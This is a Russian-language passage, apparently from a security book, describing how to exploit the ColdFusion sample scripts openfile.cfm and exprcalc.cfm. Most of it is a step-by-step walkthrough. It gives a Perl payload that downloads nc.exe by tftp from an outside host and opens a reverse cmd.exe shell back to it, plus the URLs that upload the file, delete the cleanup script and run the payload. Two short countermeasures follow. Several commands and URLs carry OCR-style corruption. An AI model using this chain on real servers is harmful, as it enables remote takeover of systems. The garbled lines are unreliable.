Уязвимость активных страниц сервера
Изъяны сервера ColdFusion
Специалистами группы LOpht было обнаружено несколько существенных изъянов в сервере приложений Cold Fusion, позволяющих осуществлять удаленный запуск команд на уязвимом Web-сервере. В процессе установки этого программного продукта вместе с ним копируются также примеры кода и интерактивная документация. Причиной обнаруженных изъянов послужили несколько примеров, взаимодействие которых не ограничивается только локальным узлом.
Первая из проблем связана с устанавливаемым по умолчанию файлом opnfile.cfm. Этот файл позволяет взломщику загрузить на Web-сервер любой файл. Другой файл, displayopenedfile.cfm, помещает этот файл в окно браузера. Кроме того, exprcalc.cfm анализирует загруженный файл и удаляет его (во всяком случае, он для этого предназначен). Используя только файл openfile.cfm, можно ввести систему в заблуждение, чтобы она не удаляла загруженный файл, а затем выполнить локально любую команду. Чтобы воспользоваться этой возможностью, выполните следующие действия.
- Создайте файл, который при загрузке на удаленный Web-сервер приведет к выполнению локальной команды. Например, можно воспользоваться следующим сценарием Perl с именем test.pl.
systemC'tftp – i 192.168.51.100 GET nc.exe"); system("nc-e cmd.exe 192.168.51.100 3000");
Этот метод сработает в том случае, если на сервере Cold Fusion установлен интерпретатор языка Perl.
- Задайте в браузере следующий адрес URL.
http://192.168.51.101/cfdocs/expeval/openfile.cfm
- Укажите в поле Open File путь к созданному файлу и щелкните на кнопке ОК.
- В адресе URL замените строку D:\INETPUB\WWWROOT\cfdocs\expeval\test.pl на полное имя файла exprcalc.cfm (с указанием пути), предназначенного для удаления загруженных в систему файлов. После внесения изменений URL должен выглядеть следующим образом.
http://192.168.51.101/cfdoce/expeval/ExprCalc.cfra?RequestTimeout= 2000&OpenFilePath-D:\lNETPOB\WWWROOT\cfdocs\expeval\exprcalc.cfm
- В окне должно появиться содержимое файла exprcalc.cfm и он должен быть удален из системы. После этого все файлы, загруженные с помощью openfile.cfm, будут оставаться в удаленной системе.
- Проделав еще раз описанные действия, загрузите повторно файл test.pl на удаленную систему. После этого данный файл (test.pl) будет ожидать вызова.
- С помощью следующего URL запустите файл test.pl.
http://192.168.51.101/cfdocs/expeval/test.pl
- Если перед этим были запущены сервер TFTP и утилита netcat, то должно появиться следующее приглашение (т.е. командная строка, позволяющая выполнять команды с правами администратора).
С:\>nс – 1 – р 3000 Microsoft(R) Windows NT(TM) (С) Copyright 1985-1996 Microsoft Corp. D:\INETPUB\WWWROOT\cfdocs>
Контрмеры против использования изъянов сервера Cold Fusion
Для того чтобы предотвратить возможность использования изъянов Cold Fusion, можно воспользоваться двумя способами:
- Удалите все уязвимые сценарии.
- Примените к файлу exprcalc.cfm модуль обновления, который можно найти по адресу http://www.allaire.com/handlers/index.cfm?ID=8727&Method=Full.